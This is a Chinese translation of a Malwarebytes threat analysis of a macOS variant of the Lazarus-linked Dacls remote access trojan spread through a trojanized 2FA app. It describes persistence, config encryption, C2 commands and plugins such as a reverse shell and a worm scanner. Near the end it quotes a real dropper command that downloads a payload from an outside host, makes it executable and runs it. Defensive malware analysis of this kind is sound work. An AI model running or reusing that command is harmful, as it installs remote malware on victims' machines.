​Lazarus Dacls RAT MAC变种分析
2020-05-11 11:30:00 Author: www.4hou.com(查看原文) 阅读量:236 收藏

Malwarebytes研究人员近期发现了一款与朝鲜Lazarus组织相关的Dacls Remote Access Trojan (RAT)变种,攻击目标是mac操作系统。Dacls是奇虎360去年12月发现的一款攻击Windows和Linux平台的远程访问木马。

发现

4月8日,研究人员发现了一个提交到VirusTotal的恶意Mac应用样本——TinkaOTP。当时没有任何杀毒软件检测出来。恶意可执行文件位于应用的Contents/Resources/Base.lproj/ 目录中,伪装成一个nib文件(SubMenu.nib),事实上是一个Mac可执行文件。其中含有字符串“c_2910.cls”和 “k_3872.cls”,这是证书文件和私钥文件的名字。

驻留

这款RAT 是通过LaunchDaemons 或 LaunchAgents实现驻留的,具体是通过在plist 文件中指定系统重启后要执行的应用。LaunchAgents 和LaunchDaemons的区别是:LaunchAgents以登陆用户的名义运行代码,而LaunchDaemon以root用户运行代码。

恶意应用启动后,会在Library/LaunchDaemons 目录下创建一个名为com.aex-loop.agent.plist 的plist 文件。Plist文件的内容是硬编码在应用中的。

程序会检查“getpwuid( getuid()) 是否会返回当前进程的用户id。如果返回了用户id,就在LaunchAgents 目录Library/LaunchAgents/ 下创建plist文件“com.aex-loop.agent.plist”。

图 1: Plist文件

保存plist 文件的文件名和目录是十六进制格式的。下面是文件名和目录生成代码:

图 2: 目录和文件名生成

Config文件

Config文件中含有与受害者机器相关的信息,如Puid、Pwuid、插件和C2服务器。Config文件的内容是用AES加密算法加密的。

 

图 3: 加载config文件

Mac和Linux变种都使用了相同的AES key和IV(初始向量)来加密和解密config文件。这两类变种使用的AES 模式都是CBC。

 

图 4: AES key和IV(初始向量)

Config文件位置和文件名都在代码中以十六进制形式保存的。Config文件名伪装称一个与apple store相关的数据库文件:“Library/Caches/Com.apple.appstore.db”。

图 5: Config文件名

函数 “IntializeConfiguration”会用下面硬编码的C2服务器来初始化配置文件:

 

图 6: 初始化config文件

Config文件会根据从C2服务器接收到的命令定期更新。安装后的应用名为mina,该命名来源于一款macOS平台的双因子认证app——MinaOTP应用。

图 7: Config文件更新

主循环

在初始化config文件后,会执行主循环来执行以下4个主命令:

· 0x601:将config文件中的C2服务器信息更新到服务器

· 0x602:从服务器下载config文件内容,更新config文件

· 0x700:通过调用getbasicinfo 函数将来自受害者机器的信息上传

· 0x900:发送心跳信息

命令代码与Linux.dacls是相同的。

图 8: 主循环

插件

Mac RAT变种中有6个插件,而Linux变种中多了一个名为SOCKS的插件。该新插件的作用是代理受害者到C2服务器的网络流量。

该app在主循环开始时加载了7个插件。每个插件在config文件中都有对应的配置区域,配置内容在插件初始化后会加载。

图 9: 加载的插件

CMD插件

Cmd插件与Linux RAT中的bash插件是相似的,插件会通过提供反向shell到C2服务器来接收和执行命令。

图 10: Cmd插件

文件插件

文件插件可以读、删除、下载和搜索目录中的文件。该插件Mac和linux版本的唯一不同是mac版本不能写文件。

图 11: 文件插件

进程插件

进程插件可以kill、运行和获取进程ID、收集进程信息。

图 12: 进程插件

如果进程的/proc/%d/task 目录可以访问,插件就可以从进程中获取如下信息,其中%d是进程ID:

· 执行/proc/ %/cmdline 来获取进程的命令行参数

· 从“/proc/%d/status” 文件中获取进程名、UID、GID、PPID

测试插件

Mac和Linux变种的测试插件代码是相同的。会检查C2服务器指定的IP和端口的连接。

RP2P插件

RP2P插件是一个代理服务器,用来避免受害者到攻击者基础设施的直接通信。

图 13:反向P2P

LogSend插件

Logsend插件中含有以下3个模块:

· 检查到log服务器的连接

· 扫描网络(蠕虫扫描模块)

· 执行long run系统命令

图 14: Logsend插件

该插件还会用HTTP post请求发送收集的日志。

图 15: 用户代理

该插件中一个有趣的函数是一个蠕虫扫描器。start_worm_scan模块可以在端口8291或8292端口扫描网络子网。扫描的子网是由预定义的规则的集合决定的。下图是选定子网进行扫描的过程:

图 16: 蠕虫扫描

Socks 插件

Socks插件是添加到Mac RAT的第7个插件。与RP2P插件类似,作为主机和C2基础设施之间的一个流量中继点。使用Socks4来进行代理通信。

图 17: Socks4

网络通信

Mac RAT和Linux变种使用的C2通信是类似的。要连接到服务器,应用首先要建立一个TLS连接,然后执行beacon,最后用RC2算法加密通过SSL发送的数据。

图 18: 应用(.mina)生成的流量

图 19: TLS连接

Mac 和 Linux变种使用WolfSSL 库进行SSL通信。WolfSSL是一款开源的C语言的TLS实现,支持多个平台。该库也被多个黑客组织使用,比如Tropic Trooper就将该库用作Keyboys恶意软件。

图 20: WolfSSL

用作beacon的命令代码和Linux.dacls中使用的代码是相同的。这也确认了主机和服务器的身份。

图 21: Beconing

RC4 key是用硬编码的密钥生成的。

图 22: RC4初始化

总结

研究人员还发现了一个用下面的curl命令下载恶意payload的RAT变种:

curl -k -o ~/Library/.mina https://loneeaglerecords.com/wp-content/uploads/2020/01/images.tgz.001 > /dev/null 2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev

研究人员相信Dcals RAT的Mac变种与韩国APT组织Lazarus(Hidden Cobra或 APT 38)有关。Mac RAT的发现表明该APT组织在不断开发其恶意软件工具集。

本文翻译自:https://blog.malwarebytes.com/threat-analysis/2020/05/new-mac-variant-of-lazarus-dacls-rat-distributed-via-trojanized-2fa-app/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/lD5l
如有侵权请联系:admin#unsafe.sh